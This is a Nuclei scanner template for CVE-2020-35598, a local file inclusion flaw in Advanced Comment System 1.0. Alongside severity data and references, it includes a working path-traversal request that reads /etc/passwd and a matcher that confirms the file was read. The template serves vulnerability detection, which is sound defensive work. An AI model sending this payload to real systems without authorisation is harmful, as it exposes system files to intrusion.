id: CVE-2020-35598

info:
  name: Advanced Comment System 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: ACS Advanced Comment System 1.0 is affected by local file inclusion via an advanced_component_system/index.php?ACS_path=..%2f URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Advanced Comment System 1.0.
  reference:
    - https://www.exploit-db.com/exploits/49343
    - https://seclists.org/fulldisclosure/2020/Dec/13
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35598
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35598
    cwe-id: CWE-22
    epss-score: 0.10057
    epss-percentile: 0.94902
    cpe: cpe:2.3:a:advanced_comment_system_project:advanced_comment_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advanced_comment_system_project
    product: advanced_comment_system
  tags: cve,cve2020,acs,edb,seclists,lfi,advanced_comment_system_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205697033d28b9b15fef79f27bd95c955a3ed5a0aa88d1af19f3e0688efb6947c1022100938a8bbe179549a3ac5cf5ff31006c9373112bf340808ec1eb5cd3c2c5287bb8:922c64590222798bb761d5b6d8e72950